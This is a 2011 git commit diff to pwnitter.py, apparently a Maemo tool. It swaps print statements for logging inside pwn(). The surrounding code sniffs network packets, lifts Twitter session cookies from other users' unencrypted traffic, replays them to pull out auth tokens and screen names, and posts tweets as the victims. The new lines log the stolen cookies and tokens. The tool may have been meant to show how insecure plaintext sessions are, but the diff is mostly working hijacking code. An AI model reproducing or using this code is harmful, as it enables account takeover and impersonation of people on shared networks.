From: Tobias Mueller Date: Thu, 13 Jan 2011 16:45:34 +0000 (+0100) Subject: Introduced logging to pwn() by replacing all prints X-Git-Url: http://git.maemo.org/git/?p=pwnitter;a=commitdiff_plain;h=a436c4c264f743d47758c5c8ac1fbc97570f6cec Introduced logging to pwn() by replacing all prints --- diff --git a/pwnitter.py b/pwnitter.py index 4ef93eb..551a2f7 100755 --- a/pwnitter.py +++ b/pwnitter.py @@ -101,11 +101,13 @@ class Pwnitter(dbus.service.Object): def pwn(self, device, tweeted_callback=None): + log = logging.getLogger('pwn') + processed = {} if self.is_running: # This is probably not needed, but I feel better checking it more than too less ts, raw = self.cap.next() eth = dpkt.ethernet.Ethernet(raw) - #print 'got a packet' + log.debug('got a packet') # Depending on platform, we can either get fully formed packets or unclassified radio data if isinstance(eth.data, str): data = eth.data @@ -114,12 +116,14 @@ class Pwnitter(dbus.service.Object): hostMatches = re.search('Host: ((?:api|mobile|www)?\.?twitter\.com)', data) if hostMatches: - print 'Host matched' + log.debug('Host matched') host = hostMatches.group(1) cookieMatches = re.search('Cookie: ([^\n]+)', data) + log.debug('CookieMatches? %r', cookieMatches) if cookieMatches: cookie = cookieMatches.group(1) + log.debug('yummie Cookie %r', cookie) headers = { "User-Agent": "Mozilla/5.0", @@ -130,7 +134,7 @@ class Pwnitter(dbus.service.Object): try: conn.request("GET", "/", None, headers) except socket.error, e: - print e + log.error(e) else: response = conn.getresponse() page = response.read() @@ -144,6 +148,7 @@ class Pwnitter(dbus.service.Object): if authMatches: authToken = authMatches.group(1) + log.info('Found auth token %r', authToken) nameMatches = re.search('"screen_name":"(.*?)"', page, 0) if not nameMatches: @@ -152,6 +157,7 @@ class Pwnitter(dbus.service.Object): name = '' if nameMatches: name = nameMatches.group(1) + log.info('Found name %r', name) # We don't want to repeatedly spam people @@ -168,7 +174,7 @@ class Pwnitter(dbus.service.Object): } - print 'Issueing connection' + log.debug('Issueing connection') if host == 'mobile.twitter.com': params = urllib.urlencode({ @@ -191,7 +197,7 @@ class Pwnitter(dbus.service.Object): response = conn.getresponse() - print 'Got response: %s' % response.status + log.debug('Got response: %s', response.status) if response.status == 200 or response.status == 302 or response.status == 403: if name: @@ -199,18 +205,17 @@ class Pwnitter(dbus.service.Object): # 403 is a dupe tweet if response.status != 403: - print "Successfully tweeted as %s" % name - print 'calling %s' % tweeted_callback + log.info("Successfully tweeted as %s", name) if tweeted_callback: tweeted_callback(name) else: - print 'Already tweeted as %s' % name + log.info('Already tweeted as %s', name) else: - print "FAILED to tweet as %s, debug follows:" % name - print response.status, response.reason - print response.read() + "\n" + log.error("FAILED to tweet as %s, debug follows:", name) + log.error("%s, %s", response.status, response.reason) + log.error("%s", response.read()) return self.is_running # Execute next time, we're idle # FIXME: Ideally, check whether Pcap has got data for us